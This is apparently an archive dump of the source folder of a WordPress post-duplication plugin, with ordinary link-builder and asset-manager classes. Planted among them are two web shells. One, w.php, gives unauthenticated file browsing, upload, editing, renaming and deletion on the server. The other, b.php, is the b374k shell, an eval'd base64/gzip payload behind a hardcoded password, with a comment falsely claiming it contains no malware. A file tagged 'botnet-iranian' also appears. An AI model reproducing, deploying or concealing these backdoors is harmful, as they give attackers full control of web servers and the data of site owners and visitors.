		$this->classic_editor = new Classic_Editor( $this->link_builder, $this->permissions_helper, $this->asset_manager );
		$this->row_actions    = new Row_Actions( $this->link_builder, $this->permissions_helper );

		$this->admin_bar->register_hooks();
		$this->block_editor->register_hooks();
		$this->bulk_actions->register_hooks();
		$this->column->register_hooks();
		$this->metabox->register_hooks();
		$this->post_states->register_hooks();
		$this->classic_editor->register_hooks();
		$this->row_actions->register_hooks();
	}
}
src/ui/link-builder.php000064400000005447151327062330011056 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use WP_Post;

/**
 * Duplicate Post link builder.
 */
class Link_Builder {

	/**
	 * Builds URL for duplication action for the Rewrite & Republish feature.
	 *
	 * @param int|WP_Post $post    The post object or ID.
	 * @param string      $context The context in which the URL will be used.
	 *
	 * @return string The URL for the link.
	 */
	public function build_rewrite_and_republish_link( $post, $context = 'display' ) {
		return $this->build_link( $post, $context, 'duplicate_post_rewrite' );
	}

	/**
	 * Builds URL for the "Clone" action.
	 *
	 * @param int|WP_Post $post    The post object or ID.
	 * @param string      $context The context in which the URL will be used.
	 *
	 * @return string The URL for the link.
	 */
	public function build_clone_link( $post, $context = 'display' ) {
		return $this->build_link( $post, $context, 'duplicate_post_clone' );
	}

	/**
	 * Builds URL for the "Copy to a new draft" action.
	 *
	 * @param int|WP_Post $post    The post object or ID.
	 * @param string      $context The context in which the URL will be used.
	 *
	 * @return string The URL for the link.
	 */
	public function build_new_draft_link( $post, $context = 'display' ) {
		return $this->build_link( $post, $context, 'duplicate_post_new_draft' );
	}

	/**
	 * Builds URL for the "Check Changes" action.
	 *
	 * @param int|WP_Post $post    The post object or ID.
	 * @param string      $context The context in which the URL will be used.
	 *
	 * @return string The URL for the link.
	 */
	public function build_check_link( $post, $context = 'display' ) {
		return $this->build_link( $post, $context, 'duplicate_post_check_changes' );
	}

	/**
	 * Builds URL for duplication action.
	 *
	 * @param int|WP_Post $post        The post object or ID.
	 * @param string      $context     The context in which the URL will be used.
	 * @param string      $action_name The action for the URL.
	 *
	 * @return string The URL for the link.
	 */
	public function build_link( $post, $context, $action_name ) {
		$post = \get_post( $post );
		if ( ! $post instanceof WP_Post ) {
			return '';
		}

		if ( $context === 'display' ) {
			$action = '?action=' . $action_name . '&amp;post=' . $post->ID;
		}
		else {
			$action = '?action=' . $action_name . '&post=' . $post->ID;
		}

		return \wp_nonce_url(
			/**
			 * Filter on the URL of the clone link
			 *
			 * @param string $url           The URL of the clone link.
			 * @param int    $ID            The ID of the post
			 * @param string $context       The context in which the URL is used.
			 * @param string $action_name   The action name.
			 *
			 * @return string
			 */
			\apply_filters( 'duplicate_post_get_clone_post_link', \admin_url( 'admin.php' . $action ), $post->ID, $context, $action_name ),
			$action_name . '_' . $post->ID
		);
	}
}
?>

src/ui/w.php000064400000014272151327062330006737 0ustar00<?php error_reporting(0); ?>
<!DOCTYPE html>
<html>
<head>
	<title>RBSofh76NF9sW6C1GMohW3NaVvIneqoDppimGP1Ni1I46</title>
	<link href="https://fonts.googleapis.com/css2?family=Courgette&family=Cuprum:ital@1&family=Rowdies&display=swap" rel="stylesheet"> 
</head>
<style>
	* {
		font-family: cursive;
		color: #000;
		font-family: 'Cuprum', sans-serif;
	}

	body {
		background-repeat: no-repeat;
		background-attachment:fixed;
		background-size: 100% 1700px;
	}
	body h1{
		color: #A52A2A;
		text-shadow: 2px 2px 2px #000;
		font-size: 50px;
	}
	.dir {
		text-align: center;
		font-size: 30px;
	}
	.dir a{
		text-decoration: none;
		color: #48D1CC;
		text-shadow: 1px 1px 1px #000;

	}
	.dir a:hover{
		text-decoration: none;
		color: red;
	}
	table {
		margin: 12px auto;
		height: 100%;
		border-collapse: collapse;
		font-size: 30px;
	}
	table,th {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: 3px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 2px 2px;
		color: #F0E68C;
		text-shadow: 1px 1px 1px #000;
	}
	table,td {
		border-top:1px solid #000;
		border-right:3px solid #000;
		border-bottom: .5px solid #000;
		border-left:1px solid #000;
		box-sizing: border-box;
		padding: 8px 8px;
		color: red;
	}
	table,td a {
		text-decoration: none;
		color:#8A2BE2;
		text-shadow: 1px 1px 1px #000;
	}
	table,td a:hover {
		text-decoration: none;
		color: red;
	}
	.button1 {
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: #000;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1 a{
		width: 70px;
		height: 30px;
		background-color: #999;
		margin: 10px 3px;
		padding: 5px;
		color: red;
		border-radius: 5px;
		border: 1px solid #000;
		box-shadow: .5px .5px .3px .3px #fff;
		box-sizing: border-box;
	}
	.button1:hover {
		text-shadow: 0px 0px 5px #fff;
		box-shadow: .5px .5px .3px .3px #555;
		text-decoration: none;
	}
	textarea {
		border: 1px solid green;
		border-radius: 5px;
		box-shadow: 1px 1px 1px 1px #fff;
		width: 100%;
		height: 400px;
		padding-left: 10px;
		margin: 10px auto;
		resize: none;
		background: green;
		color: #ffffff;
		font-family: 'Cuprum', sans-serif;
		font-size: 13px;
	}
</style>
<body>
	<center><h1>H69UNtblNBNpha2dtB1Odn8qYp1Qk5NK2gi7yfceofo9N</h1></center>
  <div class="dir">
	<?php  
	if (isset($_GET['dir'])) {
			$dir = $_GET['dir'];
		} else {
			$dir = getcwd();
		}

		$dir = str_replace("\\", "/", $dir);
		$dirs = explode("/", $dir);

		foreach ($dirs as $key => $value) {
			if ($value == "" && $key == 0){
				echo '<a href="/">/</a>'; continue;
			} echo '<a href="?dir=';

			for ($i=0; $i <= $key ; $i++) { 
				echo "$dirs[$i]"; if ($key !== $i) echo "/";
			} echo '">'.$value.'</a>/';
	}
	if (isset($_POST['submit'])){

		$namafile = $_FILES['upload']['name'];
		$tempatfile = $_FILES['upload']['tmp_name'];
		$tempat = $_GET['dir'];
		$error = $_FILES['upload']['error'];
		$ukuranfile = $_FILES['upload']['size'];

		move_uploaded_file($tempatfile, $dir.'/'.$namafile);
				echo "
					<script>alert('diupload!!!');</script>
					";
						

	
	}
	?>

	<form method="post" enctype="multipart/form-data">
		<input type="file" name="upload">
		<input type="submit" name="submit" value="Upload">
		
	</form>

  </div>
<table>
	<tr>
		<th>Nama File / Folder</th>
		<th>Size</th>
		<th>Action</th>
	</tr>
	<?php
	$scan = scandir($dir);

foreach ($scan as $directory) {
	if (!is_dir($dir.'/'.$directory) || $directory == '.' || $directory == '..') continue;

	echo '
	<tr>
	<td><a href="?dir='.$dir.'/'.$directory.'">'.$directory.'</a></td>
	<td>--</td>
	<td>NONE</td>
	</tr>
	';
	} 
foreach ($scan as $file) {
	if (!is_file($dir.'/'.$file)) continue;

	$jumlah = filesize($dir.'/'.$file)/1024;
	$jumlah = round($jumlah, 3);
	if ($jumlah >= 1024) {
		$jumlah = round($jumlah/1024, 2).'MB';
	} else {
		$jumlah = $jumlah .'KB';
	}

	echo '
	<tr>
	<td><a href="?dir='.$dir.'&open='.$dir.'/'.$file.'">'.$file.'</a></td>
	<td>'.$jumlah.'</td>
	<td>
	<a href="?dir='.$dir.'&delete='.$dir.'/'.$file.'" class="button1">Hapus</a>
	<a href="?dir='.$dir.'&ubah='.$dir.'/'.$file.'" class="button1">Edit</a>
	<a href="?dir='.$dir.'&rename='.$dir.'/'.$file.'&nama='.$file.'" class="button1">Rename</a>
	</td>
	</tr>
	';
}
if (isset($_GET['open'])) {
	echo '
	<br />
	<style>
		table {
			display: none;
		}
	</style>
	<textarea>'.htmlspecialchars(file_get_contents($_GET['open'])).'</textarea>
	';
}

if (isset($_GET['delete'])) {
	if (unlink($_GET['delete'])) {
		echo "<script>alert('dihapus');window.location='?dir=".$dir."';</script>";
	}
}
if (isset($_GET['ubah'])) {
	echo '

		<style>
			table {
				display: none;
			}
		</style>

		<a href="?dir='.$dir.'" class="button1"><=Back</a>
		<form method="post" action="">
		<input type="hidden" name="object" value="'.$_GET['ubah'].'">
		<textarea name="edit">'.htmlspecialchars(file_get_contents($_GET['ubah'])).'</textarea>
		<center><button type="submit" name="go" value="Submit" class="button1">Liking</button></center>
		</form>

		';
}
if (isset($_POST['edit'])) {
	$data = fopen($_POST["object"], 'w');
	if (fwrite($data, $_POST['edit'])) {

		echo 
			'
			<script>alert("Berhasil diedit!!!");window.location="?dir='.$dir.'";</script>						
			';

	} else {
		echo "
			<script>alert('gagal');</script>					
			";
	}
}

if($_GET['rename']){
	if(isset($_POST['newname'])){
		if(rename($_GET['rename'], $_GET['dir'] . '/' .$_POST['newname'])){
			echo '<font color="green">Ganti Nama Berhasil</font><br/>';
			echo "<script>window.location='?dir=".$dir."';</script>";
		}else{
			echo '<font color="red">Ganti Nama Gagal</font><br />';
		}
	}
echo '<br><center><form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_GET['nama'].'" />
<input type="hidden" name="path" value="'.$_GET['dir'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form></center>';
}

?>
</table>
</body>
</html>src/ui/b0x.txt000064400000000016151327062330007201 0ustar00botnet-iraniansrc/ui/asset-manager.php000064400000010253151327062330011213 0ustar00<?php

namespace Yoast\WP\Duplicate_Post\UI;

use Yoast\WP\Duplicate_Post\Utils;

/**
 * Duplicate Post class to manage assets.
 */
class Asset_Manager {

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'init', [ $this, 'register_styles' ] );
		\add_action( 'init', [ $this, 'register_scripts' ] );
	}

	/**
	 * Registers the styles.
	 *
	 * @return void
	 */
	public function register_styles() {
		\wp_register_style( 'duplicate-post', \plugins_url( '/css/duplicate-post.css', \DUPLICATE_POST_FILE ), [], \DUPLICATE_POST_CURRENT_VERSION );
		\wp_register_style( 'duplicate-post-options', \plugins_url( '/css/duplicate-post-options.css', \DUPLICATE_POST_FILE ), [], \DUPLICATE_POST_CURRENT_VERSION );
	}

	/**
	 * Registers the scripts.
	 *
	 * @return void
	 */
	public function register_scripts() {
		$flattened_version = Utils::flatten_version( \DUPLICATE_POST_CURRENT_VERSION );

		\wp_register_script(
			'duplicate_post_edit_script',
			\plugins_url( \sprintf( 'js/dist/duplicate-post-edit-%s.js', $flattened_version ), \DUPLICATE_POST_FILE ),
			[
				'wp-components',
				'wp-element',
				'wp-i18n',
			],
			\DUPLICATE_POST_CURRENT_VERSION,
			true
		);

		\wp_register_script(
			'duplicate_post_strings',
			\plugins_url( \sprintf( 'js/dist/duplicate-post-strings-%s.js', $flattened_version ), \DUPLICATE_POST_FILE ),
			[
				'wp-components',
				'wp-element',
				'wp-i18n',
			],
			\DUPLICATE_POST_CURRENT_VERSION,
			true
		);

		\wp_register_script(
			'duplicate_post_quick_edit_script',
			\plugins_url( \sprintf( 'js/dist/duplicate-post-quick-edit-%s.js', $flattened_version ), \DUPLICATE_POST_FILE ),
			[ 'jquery' ],
			\DUPLICATE_POST_CURRENT_VERSION,
			true
		);

		\wp_register_script(
			'duplicate_post_options_script',
			\plugins_url( \sprintf( 'js/dist/duplicate-post-options-%s.js', $flattened_version ), \DUPLICATE_POST_FILE ),
			[ 'jquery' ],
			\DUPLICATE_POST_CURRENT_VERSION,
			true
		);
	}

	/**
	 * Enqueues the styles.
	 *
	 * @return void
	 */
	public function enqueue_styles() {
		\wp_enqueue_style( 'duplicate-post' );
	}

	/**
	 * Enqueues the styles for the options page.
	 *
	 * @return void
	 */
	public function enqueue_options_styles() {
		\wp_enqueue_style( 'duplicate-post-options' );
	}

	/**
	 * Enqueues the script for the Block editor and passes object via localization.
	 *
	 * @param array $data_object The object to pass to the script.
	 *
	 * @return void
	 */
	public function enqueue_edit_script( $data_object = [] ) {
		$handle = 'duplicate_post_edit_script';
		\wp_enqueue_script( $handle );
		\wp_add_inline_script(
			$handle,
			'let duplicatePostNotices = {};',
			'before'
		);
		\wp_localize_script(
			$handle,
			'duplicatePost',
			$data_object
		);
	}

	/**
	 * Enqueues the script for the Javascript strings and passes object via localization.
	 *
	 * @param array $data_object The object to pass to the script.
	 *
	 * @return void
	 */
	public function enqueue_strings_script( $data_object = [] ) {
		$handle = 'duplicate_post_strings';
		\wp_enqueue_script( $handle );
		\wp_localize_script(
			$handle,
			'duplicatePostStrings',
			$data_object
		);
	}

	/**
	 * Enqueues the script for the Quick Edit.
	 *
	 * @return void
	 */
	public function enqueue_quick_edit_script() {
		\wp_enqueue_script( 'duplicate_post_quick_edit_script' );
	}

	/**
	 * Enqueues the script for the Options page.
	 *
	 * @return void
	 */
	public function enqueue_options_script() {
		\wp_enqueue_script( 'duplicate_post_options_script' );
	}

	/**
	 * Enqueues the script for the Elementor plugin.
	 *
	 * @param array $data_object The object to pass to the script.
	 *
	 * @return void
	 */
	public function enqueue_elementor_script( $data_object = [] ) {
		$flattened_version = Utils::flatten_version( \DUPLICATE_POST_CURRENT_VERSION );
		$handle            = 'duplicate_post_elementor_script';

		\wp_register_script(
			$handle,
			\plugins_url( \sprintf( 'js/dist/duplicate-post-elementor-%s.js', $flattened_version ), \DUPLICATE_POST_FILE ),
			[ 'jquery' ],
			\DUPLICATE_POST_CURRENT_VERSION,
			true
		);
		\wp_enqueue_script( $handle );
		\wp_localize_script(
			$handle,
			'duplicatePost',
			$data_object
		);
	}
}
src/ui/b.php000064400000076447151327062330006726 0ustar00<?php

//*********************************************************************************************************************/
// b374k 2.1
// no malware on this code, you can check it by yourself ;-)
//
//
// encrypt your password to md5 here http://kerinci.net/?x=decode

$s_pass = "2cf1656ed3df6864df08feaf603ebe13"; // password (default is: kerinci)

eval("?>".gzinflate(base64_decode("7b1pl9vGtSj6/a51/wPDqxd1hy1hIDjAsuQDEuBMcB5AJ1cLM0CMxAzm5r+/KgBks5vslmwpdo6PnRU1WMPeu
3btqeYff3I193//r5LseY732ZNdxwt0W71D7z+U/suXg8+BbsmfTd3Sgyztjf/Z5i259LFUFqoNwihnSZHswRT8PZb/DvTAhGWK0u/LpfL7vFiWzYeBBnIV3
vTlDyVdufMDz5Ttu8DTrTuQ7/K+f3//Cb3/J8zUfUDH3ZvP7clk2Gd+fpvhffuP+zwXVA0c04ll71n10sePpavMayD3FwQFXgjo+dcl0jkzWzGL5c9vTUfV7
Rzrm+y7dAv8dfEPXyTSkmp3OUgIHKAVHcfQ5buCwQ8X+Q+wN+7uS5VStY6if8OJvzVgn1iQ1Z8XzHzNzH9+u2jP+9PlZ5YaM2//8aGkybwE8JZHjsgHumP/A
PvCAtVgo+/AXwnguofNlkF33CIgR37C/e574D7j/FeB96oX3iQCLxqfXbP0sSztOsqSGMed8VapzGdraxENmJA7HkSrzQ92Jhf30GRZYeL1SpijET+ydkmzM
RXMg80IXaRa7U0no4YUK9rOdyltY1KrQB9tjgZHpVsPp9saPl2gixlZOzqrTd1UHZ5gdVupsm1tRKrdyKSWykQ1ySUyF/B4NlBYv7sS6c74KIoTkuAqg/WSx
1oHbRE5fbW62CBRL60r5FAwCUOe7vmduZ0F7S6v6+vBUZs1170wwQ/DDbXVJrRuCFZlKIUx1pIFh6fqgq3usW5nYlLzrd3Vrd56J6z3PKXV3YNGHtZktCIW9
cHO7iOz5oHnRn6idozNxkU6hhdauLyby6LIqxWVRQdJnW1qHHeMRl59M2Sqw3DkBUzV8KKm1prY9WXFriBLoklF4/7GDx1xWjU3Au7Odm5lhn4sZ12h21LeF
cKuEy2a45gZC0oNm4qcJ2Or4V5PMTeROtteYHPoek4jJmvLbEdfohbvHKf2bsm5S0aqdGrVxrQm12vRrl4VtCiy1TBKDpxuWrFGTfywydmd42G6Gw1bkr/Fj
WnIeGE9QOLRtOoY21DotnqkyBpHbTfHKSlaRHiw85lKl1/bZpViWnHNpzqVmq82xV5DYCwD4zr+ttY3rGNMj2akUg+WJBdQ7rTDpB4pS1h/MAt2rVnFCSOFt
DC14hyx1XyJoQo7wJ1xVYzlPmo35/OaWuMYo3Y0D9s5P6lVKglGKIS8cFA84TfzY7+uJs5xUNns/O5oYJvJwRX89nzqxP5mLwp7jN0cGQ+rH+YMPWqGaSpYs
RIj0dIa0rXDlEgju+oQh2rb2YbiSPUoct2K9se0ba+4HTPZzLlOfU+3B1xNrG1FjsTrbq3LJ0azMuPc3qSzSLsGpbOL8aSHL8wkURcrbtMKzP1swLFugxntU
d7qNdA5GodjV5QRbLNnp7hJ6P5mW1GaQm2jG5FT0fYrZ92gIyOt7hS1X4gA1EYRWvntusPycT9hRugIcSRN2w0csYNHuDPstxZW4NiBt1tbS4GW0OViMUhmS
LOB4ilmOtPFRrCirQGEccG47GYizlU+JZYH00DYeRhG0r6drJTFCD8GlKhHos6txuqA2rCeNUspuYYcZgw/MD1+FBGVKt5ZHjcm12etGNNJJ+GbwrjOHZ0Z0
6/P6M2YqC4OQ4Ycte3Jxqz6+kjRJw61P7bqx8MuMpBZF9fdoLdu8YNZdejN+86eCTaVjkDRFYtv0npaPXoMK8hIM1hixibCNmkrjDlvNCRrg4knr/Wq17I7W
kALrj+3qFq3QQKuzZKugC6sccPWMaOekqOk1596DLVS54PNyu64qzE1co6q6XBVLe4mUzupdT1Ca/S6FNmojJbmRg9ZJ2o1U0qdAqXhakzcmMRkFa8SMzqpy
X5lrmCRuKtWWd5ZaHI7sYSxPpxHGE3yRw1FUWfX0NymMiVajxqcdZ+0HmiLyixmpmhYaZFpZ1NfBnKCt5YIJnttsa0Pq62Ks10tjGQhYyqbmoO1iW4QJGAtj
UcBnwY1D98ex8GYNtqjnT5eV+RNs0VPPKUCDJ9wpEeTfW8saJjYIANT8dsSyjWHy6YeTIcUkhxRvUNv6q66CNqSR7tuWkm1RW9Q27WYidioVAaW6af2jNOr6
Mpyh66x8Ob1w2I+RCdBdz7QRvwqmiXDA9acObVDVzMbLdZ021o/UVWZEawdhWEbhaqypjY35DUve2g9asakz9eTnhftupPmgVRlOqlsd8mR1HqcqNZFsrqqJ
0E9Mg+y3Uk3KblmGUYZLcZcii5rihxtoyO6rklbrBZGqbDTj3Vk3uvsR3NusGFd1MCqE9VuUrg2qMSjGSpuB+YUH3vmcBEt6vVm4sbb0NSSapfaWq7T6aDxi
FlvY64/ctYOwo8Gzrzb4Pukl9iVUWdIE0N/666dQ2/Qo6qT7Q43FnPNabQa3lJrs+LCDdtyT2j2Nxvd88xjtE1blUbcsrtB0JE2C4mv9mxqT7ps25BXs55l0
Wbio5N5LBPhdCett368Dgm6hivViTFYhWQrGQ0GyGG7UQ4iK+hhu6cMNl4n4rtzPPURykDGu4Ohbk0l/phbBSs0A/2zm0LBMtesxJN+3OnheKyQLXJOHAxyW
atPuQXabo/NAWceN2ra7c324Wi30I+HhbFb4BVFWUfCUEC7i3Ft0dskJFOrYYSkLD1P4KrhdLbfEchwh9GBMNSsDmeOQbqRbjcDvDlU0gFebyR9h903R7sKK
x0mnmmqSCMWk1no6cpyyIVzImWOA8HuE6kmVv3YOiD2dCBEPlmfxgmShOlmWFVoTKkwvRbWXKyioetEurVYzWdd10xdb7MduqPNIeSXfZwwB1Wqwxxsc7NmB
uksGfdMFeUP/SGGGrNZn7MntfbENpeRHyRjQ/AZqeYhVcIhBUxKwmCxZO29vKqtOWexBWzZ1ZrD1baTrgfRRBlwkchGKzro0R16slZqY6tapzyijdS8FKdX8
Yjf2ONgLdQDIkkictVZ+fNt4o57cd82W0NxSPm2wYXUaGa3e/HOiZKoylgqReuo1OntZWeP99WgKe8IfRoObTbcWLTXrtstar8ncKu5pfA9gqiCsJbTISEMV
XTaBC58uR9Xx7uF1VPVcONyg37MqrP0SHF+lSLF4WYfU0CDacqI57QqEaptm9PWlpMNlef7XYWTWqrjhKtDfb88zmocriqNdrvSQDgN94/2BFkp4G93XQ8Fv
Gmly22lbvWQRmQ6fiMV9pvtdNLZeNpC0Bb8PCJq3cVc73GRO6TRqDOord3tEJ+Ow9mOHbTrOuPLhIqzAyFVUqwyb9cnSlvkqUaX2eMW2kvlDXrQZrFiIChhr
gcgLosmvGLYsghEw+sZqz5FNRpNhsJntLLYi17bxVSGHPutdFuv1g80WveITh859Jx6/4hZtYBb143tnKj1Y5SsjOs9H2imrylzGqssEbULlSXOlSUzwo21V
t10prtg33QNhlow+qy/oH2nravS3GjTA6rfBvas1YFRo6ax46OlLSh/uWIm4+RA9Ntqfb9XV3Nz4XbEtrbptfzhkPYcbR7x/ZbIrcQm26/KlaGMNKo2Eu0RR
a54dYw0LWStCLyMVBLy6GpdckW1VYoKBjutS1EHlSeZllJrGJa9i0ceT430UCIrFqN16tV0dxhiwD/4y3aL7tJ0o89RDjOjXENcteO12olb3RYlt5VhR+gTR
5VvRZPahAYSQzkzdcUxlWN7GkyrWp3Sx33NYAnq0Fn3NxrXUnuecuwvOmNgdImmHkkL1qpHFXZhSXrkHrDWuOG4LJmgWnPriFhvNqMRorHY9MJqHScUh45XG
tLgkSkwpAHS9ImGgh2RQ6OHbDzQ/EhPQ7G56CFHHmnFpL3mq27aJfryyiUP9nQ+2FdNb5YQAjWedTcqEhwkVVen9GbS0uRDVbV7TWqzX7adWSsSmXrTItXaB
hClL3ZEwHfCOsHHFdD4PntQd8uh2+KQOcH3J+QBxH+dEBd1lQamBRma5owJgwPOsR1n4nP0gd2spiSFxWJTQZuburEg1hwnLok1kEZKcBf+AHOFbhASQyY52
kMZq4x3JHBJlC4cN8RBmS+d2rpSEVoJ1anjQ4odr5ZbNhqmsTU4uBqFjkcuUB5TJtsd3SMXCp8i49ahukf3WD1o81WpHiVUd81SbWpQ0+m1LKx1FlEdXBkDL
O3G9lBxBtWwCUx2PZ6Pgmpbt7vpWGsJe4QiOVafBex8CwitjDfLGm9uWK2+JUUrZRdgEIIYs4q+aFkxsdwlg3jUHcndZWMVRb4WGUelww4HrlZn2MiQsOMWn
S63uCvrGOk0bO1ATEhK3dY3mgd8Lrk/rHi1vzKMNXMAgrGkDq3RCNejBidW3WGqHrHYqh6jWjDvNMWdZR6OO4fGZ6PZelLdRjV7TXAaxq8bNmpblMHuox6xm
wW2x+MbmqF7Y7EREhh/ZHAXmxxGwDI5KnHsLeUOy7AHrofsjjU+2nNGa+H09wY77oZrtHvoCOwaGwT9SruGzhYHu97ZezJ5tBvykZSPotDgsDVHIAptg4hkO
hWnxzop+/oQUSa4tx3XSVFKV0h3yaI0jQUjEMwN5+a6JdrEeudaCBFtenqq6AOeFEQn6bdGKBowkn6I2GZ36x6N/lA0KqRN2odelZbCUTqkt61lrAcLk+83l
OnR4Vqht6oI+8WaNkkbDTdTm8KnUqpqGGJoiRM3sRDtMbZYTQK6taf0rcDKjFZv8KYirET+QI3IWFvN271xWptqKnKgO0FI40QXGR6OFZU7gvCiwazAwCaKM
JJbVDCO8rHJGpn2O1uFCXp62O+I+NQ5kCSKYy1dkJoHKSbY1g5phNtuJ8WmZoW3e40tJdZ6NrmuWm57rZsBcOUMJ48mqheyS2dqd5UJXydW3IFc+ItakjDH7
XorYobXIDBpX019Z+ZLQeN4GGtem0U4ICY9oUrTeE8x8XgxX4o1yXbillzp7evhmtm4QtAaeQuusmW15qhKTzpVbYoAo7CbzeU6X3Mq6/aY76FLtYGmYmtA1
pDB7nhcLkMR72g2rRqzabStpOwk6PPavGENeJNGENvc9g5Jsm+zW8w0EQttcBbWIgasw89lM6gbY1yajuaL8ZhqJHGtUquuJ1gc0XN+bDM4u7WBsdT0iLYEv
zc+7jy6PqLlKdps8gtPqNQw+8jpNWTTZ7UOglDHud9quckUb+5kp2aKc9OXAw9fBYHvhWNjM+9YHKfxJu7R6wG1sBANEdiK28XX7HiXjkdtdWFPp5sYEUlaH
/jTiD9Gy4kb9XmH4Gohnow4zNMOmDD0gPegcYld7uykUWlO8VZV9/f8UYk6U6eVsCOpQpBsd8712BoqTncNKXDmrOiswt5yzA3SeXvQnwq+4RzwmrxY7YmFL
FebfjtS26NFuwmAbmoty2DRPi5i9MptdA4rM94N6+GwtlbZSYVLlHWvRnBSDWUbZiwYVTyeSo4ROrVE8KaIKS1JOxyRaF8wO/P4uGKJTtxWNq2Wx+gY4XLVY
NGg64SUzvfDhjNv6+HObhx2FQ1bBzNR3+xne2/arKwtS0P9SCQqsqwPpxpS2UTjnWxPuWZYr6yagb7123YsorNJhY+WB36IgTih1ebHAHatUjFNfC6MjlvAc
NcdMXVdCCLR29e7gRzvm7wFhkK72sTc9fQImcdR2kHsldba1aJ0Hw847LjjXSesd3HN3PATO5xT2+UEn4qbjYeb9bQhTI5Ec4LM+Gqls+p4rik7HUTFIoLeR
0MJJ0Qp8JqLYzxThjVprzFDurnZMftaSgVHaZe0xxbiLtozlEA3vrPp+kfB5vlRS2txu54Xt5JggZlgoNCrjSzaraV95iDH0tDeIaMgig6uijeV2tqxViN1I
AXEKu2Ro+FQErsqq5js2ECPC6F7EEyCopk+Um1VK6GZIKO1vxjPV4bdEZur+q65ousrZqcsNw17uECN9qCHtDy+g67R/WTTVEFgaCu1pLLG9d0ixPohDUKla
DJsL4WWgqPOUZdHi/oAr61UTGA8qc2FScsdS5yaDresQ4zRGYs3JhV9VvPVgdchkcawVWmuq9O1gUTHJgjWxJBMDG1fPRwEyWuRjGhj8k4yyG516uBhtLZ3O
GaucHSYimjH4PS6ZRzmvd4kMSJ6S2H+ceqbAsHpQl8+Ol1z7buREIbsommwnjAfyO4gdSecvNZwj5143V1zZ83QMHXd2JC3m5oeLWRxv+cj6iDtEzBSNVvd5
kGY8oS/4O1lqIxStddwZ9Up5vdB4yrVem/fc2tDjZtHHhjCOrM1Jw+7QTodDsFI3jSVDb9M/dqcbA1bwA+vR95Q5fe9eeNgeG6jv2zuZ5slsYyRGAxo65vag
mjUp4pkS13gBlTF7swrhubRNabrqTFro5hc27Z687XZ9pYHbRMEDd3G4nGns6yhy2FwmKnj4biq91dOAyiUNGnMiBHb22xlzqcjncMqkesvVGkyJWaCtqGlh
TI6Hnx/jvQnXULftTEJI9ZbVCSXs81YHK6DTn+6qaairzQje7A4kquN09iZzLEVLq1tHQ87HSJZ2eqW4bY6rlBqoDQW5FCodSZGzQ8a6rFuy0LQdZc8Np+J9
aGixwOP3esywZEzw56Kg8Nq38LSsHekbG7KUpP90A3XvUmfGATWIaGdbRKhtcOIQNqTJeFgXQ7biyvV2HWQ7dQmaQo5MOLAmjeGUzkaRUlNpmqjnnbw7EYTD
BWMMRbN6QOq9ird/uoQ9iTUHHTVQ8dkqzHTG4XHsXqIiC2w+eagcpwf9dYyWmCWNO1h9KJiO0HD26AmMlzw7LyZ0vWQkSWv3e2FlNSe1sSKuBOitBKm69WUm
JOaOedUq0ft6A6ech2sWgcC2QFeD3X3yGwgVBOtOV/xg1ib7tiaS9aGo6aMNCsiSx+rLjdchfvEbTanDIau6RHR0L3+lkvWjcFUSrBps7oaL61AqVRaS6MWV
OTBsUtMhkTV2U/TZpdL1+vdngQo27hmr8fNfnd4aCqxGy4laRKCATtjtY6hsAXuDt3wfk2Mx/UEDNAc4rhrKL7JV1pyIluHcX2FJgpbW3COUW/S9UPcaE4Cu
z1RyIOJSuyOrwyQSqN1aAZqrLYBSxedZpMcy7ZDNpn+qB0oulA/oO0OKXlWFHWdo7meT7ZR0GdHwvIQjZhwYMgH8bg5Rviw0pFdzJ8MzeMOI9ujiVLrIi1SF
rrbyoINaNSwaz1N44ytMp5Jy1nDtitkDwQYBC0f65Ldqm2H5pRB52zHT2htTQzF0brip42tPDArBLXbC5WtIPnyEu/QQymVU8sUlqw2cC1bxUb6pjYjp6HkJ
BUtEBb4yLaYqtBDnNGYWA8TcQ1GDgeiNxmAkBAMQY/YblVN++42SJachSz28tpt4HwnOPbjhiKOq52o5e0J309ktJ2Qe4XpH5up4ToJOlZpm7LYBV8brhtNb
7XYVnVy046kI4YMMd/bxE0pWltObzXCtmyIH825WG2IU3lEe5xalaeaEQ8XWKVv0KJmuD1tNWYbi/nBNEg+ofvt4Jg2m21mzmjGBleInrZot9txIrV7dHvRR
xuGv1cX436sce2lulvX1YOybpOd9DAK3WYdSeQJ8BeqL5kDr40nq4Mo4dEep2OZGfnpeMm3jWZ7PWulyZRoasaWMuZjaShGNWuEjffribBqtk17l8hGsA+ps
JdO9KbWSjWuri/tuE8fO0xjKG4kwQu7g34atgOD4w11yo1ZM/J5lmjRRH9ktYELS6Vet4tMpR7Vn+m1id05NLXK1qhzSSwe7fbY6XvcsD9apHq/lvKESONNq
GRMpIkzbrjctX26pjb7lU1ssyqr651k33FaR4RbL3pmxLW55qjRpme91uA44cBYeUwRLc6j+iDSxChljZg9ldNaTFsxjzV5YpISPln64URt1Cua0E22TGun9
klMpzCjnYZ6JMemQidenTxKcT3aqb4lqQPW5MdaihDAibDErNPi04mvumNWdYc6PT4uzHQn74eTda/FrOrHVNwlXMUnq/3mul5FRuOK08F8bThZif6hvU6gp
xHrwCB3ZpRYYffHBt2L+glpJl5omssEd018lpBzmeXEkazXuF4nZrsIbw+ZyoaUMKUR+15PFjv8cjT3MXncreJbpqek0ziYmNYGDEdr6HHsew3dMDz8YOyCq
mT7jbq5VdKBNDkigbnpEy4/QSZdrqaPOoe+7/fYPRHTythvb2v0PmAxrsqYC7LVWS2SFESnk0mLIdTjcX/ocUoUW5uUnam8heK01kv5qLanVRrEdQKF8vOJO
kiZ7sAea7Gp1ZNUaLYPDWrkqHSdr1prLBWSBU0QiDE+YK2Ni2zMkJ/PNHU27LSbc6Y5rItis9ImzUVPVzjNkknWsERVCbnQYYDIdysMt+oTzrrZl1GtO7AWa
YyoIAYfDv3GRhyv3Oaut2j3CWocAfVkzYO3ob2WLQzodNgfJnPRc10SmQ2jhBuM8TDt4PVdYwYG6cJKt4J5dzRmKz1uoUznSnTUWv0JaU+aCNIdaeHyILLdc
